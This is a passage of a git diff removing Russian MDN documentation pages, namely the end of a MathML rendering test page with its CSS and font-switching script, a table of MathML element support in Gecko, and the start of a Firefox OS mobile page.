- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;ع&lt;/mi&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;z&lt;/mi&gt;
- &lt;mi&gt;c&lt;/mi&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;28&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;mo&gt;&amp;#x2034;&lt;/mo&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;mo&gt;&amp;#x2034;&lt;/mo&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;msubsup&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;mo&gt;&amp;#x2034;&lt;/mo&gt;
- &lt;/msubsup&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;29&lt;/td&gt;
- &lt;td&gt;&lt;math dir="rtl" display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;munder&gt;&lt;mo lspace="0em" rspace="0em" mathcolor="red"&gt;lim&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;mo stretchy="false"&gt;←&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;∞&lt;/mn&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mfrac&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;٢&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;mo&gt;!&lt;/mo&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mfrac&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math dir="rtl" display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;munder&gt;&lt;mo lspace="0em" rspace="0em" mathcolor="red"&gt;lim&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;mo stretchy="false"&gt;←&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;∞&lt;/mn&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mfrac&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;٢&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;menclose notation="madruwb"&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/menclose&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mfrac&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;munder&gt;&lt;mo lspace="0em" rspace="0em"&gt;&amp;#x1EEF1;&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo stretchy="false"&gt;→&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;∞&lt;/mn&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mfrac&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;۲&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mo&gt;!&lt;/mo&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mfrac&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;30&lt;/td&gt;
- &lt;td&gt;&lt;math dir="rtl" display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo lspace="0em" rspace="0em"&gt;det&lt;/mo&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munder&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo&gt;∊&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mrow&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;munderover&gt;&lt;mo&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/munderover&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math dir="rtl" display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo lspace="0em" rspace="0em"&gt;det&lt;/mo&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munder&gt;&lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo&gt;∊&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mrow&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;munderover&gt;&lt;mo mathcolor="red"&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;&amp;#x1EE1D;&lt;/mi&gt;&lt;/munderover&gt;&lt;msub&gt;&lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;td&gt;&lt;math display="block" xmlns="http://www.w3.org/1998/Math/MathML"&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;mo lspace="0em" rspace="0em"&gt;det&lt;/mo&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;munder&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo&gt;∊&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/munder&gt;&lt;mrow&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;mo stretchy="false"&gt;(&lt;/mo&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mo stretchy="false"&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;munderover&gt;&lt;mo&gt;∏&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/munderover&gt;&lt;msub&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;/math&gt;&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;
-</pre>
-
-<h3 id="Контент_CSS">Контент CSS</h3>
-
-<pre class="brush: css"> /* Table style */
-
- body {
- text-align: center;
- }
-
- table
- {
- border: solid thin;
- border-collapse: collapse;
- margin-left: auto;
- margin-right: auto;
- }
-
- th
- {
- background-color: #ddf;
- border: solid thin;
- color: black;
- padding: 5px;
- }
-
- td
- {
- border: solid thin;
- padding: 5px;
- text-align: center;
- }
-
- .Asana math { font-family: Asana Math; }
- .Cambria math { font-family: Cambria Math; }
- .DejaVu math { font-family: DejaVu Math TeX Gyre; }
- .LatinModern math { font-family: Latin Modern Math; }
- .Libertinus math { font-family: Libertinus Math; }
- .LucidaBright math { font-family: Lucida Bright Math; }
- .Minion math { font-family: Minion Math; }
- .STIXTwo math { font-family: STIX Two Math; }
- .TeXGyreBonum math { font-family: TeX Gyre Bonum Math; }
- .TeXGyrePagella math { font-family: TeX Gyre Pagella Math; }
- .TeXGyreSchola math { font-family: TeX Gyre Schola Math; }
- .TeXGyreTermes math { font-family: TeX Gyre Termes Math; }
- .XITS math { font-family: XITS Math; }
-</pre>
-
-<h3 id="Контент_JavaScript">Контент JavaScript</h3>
-
-<pre class="brush: js"> function updateMathFont()
- {
- var mathFont = document.getElementById("MathFont").value;
- if (mathFont == "Default") {
- document.body.removeAttribute("class");
- } else {
- document.body.setAttribute("class", mathFont);
- }
- }
-
- function load()
- {
- document.getElementById("MathFont").
- addEventListener("change", updateMathFont, false)
- }
-
- window.addEventListener("load", load, false);
-
-</pre>
-</div>
-
-<p>Следующий тест содержит примеры формул TeX из книги Кнута (Tex book, Knuth) и эквивалентные представления MathML. Cравнивается рендеринг посредством движка XeTeX с использованием шрифта по умолчанию Latin Modern Math с рендерингом MathML вашего браузера с использованием математического шрифта по умолчанию или альтернативных шрифтов OpenType MATH. Чтобы получить лучший рендеринг, убедитесь, что <a href="/ru/docs/Mozilla_MathML_Project/Fonts" title="/ru/docs/Mozilla_MathML_Project/Fonts">математические шрифты</a> установлены в вашей системе и используется браузер с поддержкой OpenType MATH, такой как Gecko 31.0.{{GeckoRelease("31.0")}} или выше. Вы также можете попробовать эту <a href="http://fred-wang.github.io/MathFonts/"> тестовую страницу для математических шрифтов OpenType</a> на которой они заменяются веб-шрифтами. Наконец, вы можете проверить <a href="https://developer.mozilla.org/ru/docs/Mozilla/MathML_Project/a11y#mathml_torture_test">эту таблицу</a>, в которой сравнивается результат чтения тестовых формул различными программами чтения с экрана для браузеров Mozilla.</p>
-
-<p>{{ EmbedLiveSample('MathML_Torture_Test') }}</p>
-
-<div id="cke_pastebin" style="position: absolute; top: 74.6667px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/ru/mozilla/mathml_project/status/index.html b/files/ru/mozilla/mathml_project/status/index.html
deleted file mode 100644
index 7c94d73439..0000000000
--- a/files/ru/mozilla/mathml_project/status/index.html
+++ /dev/null
@@ -1,341 +0,0 @@
----
-title: Статус поддержки MathML в контексте проекта Mozilla
-slug: Mozilla/MathML_Project/Status
-tags:
- - MathML
- - MathML Project
-translation_of: Mozilla/MathML_Project/Status
----
-<p>Обзор элементов/атрибутов <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">MathML 3</a> - исключая устаревшие - и текущее состояние встроенной поддержки. Приведены ссылки на MathML 3. Разделы отмечены их текущим статусом: <span style="background-color: lightgreen;">поддерживается</span>, <span style="background-color: gold;">в разработке</span>, и <span style="background-color: salmon;">не поддерживается в настоящее время</span>. Разделы, относящиеся к семантике/содержанию MathML или к чему-то нерелевантному, оставлены пустыми или не перечислены вообще. Если реализованы только основные атрибуты элемента, то он помечается как поддерживаемый, но подробности о неподдерживаемых его атрибутах указаны ниже.</p>
-
-<h2 id="Элемент_верхнего_уровня_math">Элемент верхнего уровня math</h2>
-
-<p>Смотрите <a class="external" href="http://www.w3.org/TR/MathML3/chapter2.html#interf.toplevel">§ 2.2</a>.</p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Атрибут</th>
- <th>Примечания</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>display</td>
- <td>Реализован.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>maxwidth, overflow</td>
- <td>Не реализован. Смотрите {{ Bug("534962") }}.</td>
- </tr>
- <tr>
- <td>altimg, altimg-width, altimg-height, altimg-valign, alttext</td>
- <td>Использование допускается, но не оказывает никакого влияния на рендеринг. MathML всегда доступен, так как имеет место {{ Bug("660762") }}.</td>
- </tr>
- <tr>
- <td>cdgroup</td>
- <td>Использование допускается, но не оказывает никакого влияния на рендеринг.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Атрибуты_общие_для_всех_элементов_MathML">Атрибуты, общие для всех элементов MathML</h2>
-
-<p>Смотрите <a class="external" href="http://www.w3.org/TR/MathML3/chapter2.html#fund.globatt">§ 2.1.6</a> и <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.presatt">§ 3.1.10</a>.</p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Атрибут</th>
- <th>Примечания</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>id, class, style</td>
- <td>Реализованы.</td>
- </tr>
- <tr>
- <td>xref</td>
- <td>Использование допускается, но не оказывает никакого влияния на рендеринг.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>href</td>
- <td>Реализован.  Пользовательский интерфейс работает корректно в Seamonkey, но не в Firefox. Смотрите {{ Bug("958957") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>mathcolor</td>
- <td>Реализован.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>mathbackground</td>
- <td>Реализован.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Token_Elements">Token Elements</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element [- attribute]</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mi">mi</a></td>
- <td>Implemented. The mathvariant attribute is fully supported starting with {{geckoRelease("28.0")}}. See {{ Bug("114365") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mn">mn</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mo">mo</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mo - linebreaking attributes, indentation attributes</td>
- <td>Not implemented. See {{ Bug("534962") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtext">mtext</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mspace">mspace</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mspace - linebreak</td>
- <td>Not implemented. See {{ Bug("380266") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.ms">ms</a></td>
- <td>Implemented.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="General_Layout_Schemata">General Layout Schemata</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mrow">mrow</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mfrac">mfrac</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msqrt">msqrt</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mroot">mroot</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mstyle">mstyle</a></td>
- <td>Implemented. We are only interested in supporting <a href="http://www.w3.org/TR/MathML3/chapter3.html#id.3.3.4.1">attributes "inherited from the surrounding context"</a>, which are those effectively used in practice.  See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=838509">bug 838509</a>.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.merror">merror</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mpadded">mpadded</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mphantom">mphantom</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mfenced">mfenced</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.menclose">menclose</a></td>
- <td>Implemented.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Script_and_Limit_Schemata">Script and Limit Schemata</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element [- attribute]</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msub">msub</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msup">msup</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.subsup">msubsup</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.munder">munder</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mover">mover</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.munderover">munderover</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mmultiscripts">mmultiscripts</a></td>
- <td>Implemented.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Tabular_Math">Tabular Math</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element [- attribute]</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtable">mtable</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mtable - alignmentscope</td>
- <td>Not implemented. See {{ Bug("122253") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td>mtable - columnspacing, rowspacing, framespacing</td>
- <td>Implemented. See {{ Bug("330964") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mtable - columnwidth</td>
- <td>Not implemented. See {{ Bug("958953") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mtable - equalrows, equalcolumns</td>
- <td>Not implemented. See {{ Bug("958954") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>mtable - side, minlabelspacing</td>
- <td>Not implemented. See {{ Bug("356870") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtr">mtr</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mlabeledtr">mlabeledtr</a></td>
- <td>Not Implemented. See {{ Bug("689641") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mtd">mtd</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>* - groupalign.</td>
- <td>Not implemented. See {{ Bug("122253") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.maligngroup">maligngroup</a></td>
- <td>Not implemented. See {{ Bug("122253") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.malignmark">malignmark</a></td>
- <td>Not implemented. See {{ Bug("122253") }}.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Elementary_Math">Elementary Math</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element [- attribute]</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mstack">mstack</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mlongdiv">mlongdiv</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msgroup">msgroup</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msrow">msrow</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mscarries">mscarries</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mscarry">mscarry</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.msline">msline</a></td>
- <td>Not implemented. See {{ Bug("534967") }}.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Other_elements">Other elements</h2>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <th>Element [- attribute]</th>
- <th>Notes</th>
- </tr>
- <tr style="background-color: #fa8072;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.mglyph">mglyph</a></td>
- <td>Not implemented. See {{ Bug("297465") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.maction">maction</a></td>
- <td>Implemented.</td>
- </tr>
- <tr style="background-color: #fa8072;">
- <td>maction - tooltip</td>
- <td>Not implemented. See {{ Bug("544001") }}.</td>
- </tr>
- <tr style="background-color: #90ee90;">
- <td><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.semantics">semantics</a></td>
- <td>Implemented.</td>
- </tr>
- </tbody>
-</table>
-
-<div class="originaldocinfo">
-<h2 id="Original_Document_Information">Original Document Information</h2>
-
-<ul>
- <li>Author(s): Frédéric Wang</li>
- <li>Other Contributors:</li>
- <li>Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
-</ul>
-</div>
-
-<p> </p>
diff --git a/files/ru/mozilla/mobile/index.html b/files/ru/mozilla/mobile/index.html
deleted file mode 100644
index 0c27a429bc..0000000000
--- a/files/ru/mozilla/mobile/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Mobile
-slug: Mozilla/Mobile
-tags:
- - Mozilla
-translation_of: Mozilla/Mobile
----
-<h2 id="Firefox_OS" name="Firefox_OS"><a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></h2>
-
-<p>Firefox OS является мобильной операционной системой с открытым исходным кодом, которая использует Linux и движок Gecko Mozilla, чтобы запускать пользовательский интерфейс и набор приложений, написанных полностью на HTML, CSS и JavaScript.</p>
-
-<p>Читайте о том, как установить Firefox OS и как разрабатывать приложения для нее.</p>
-
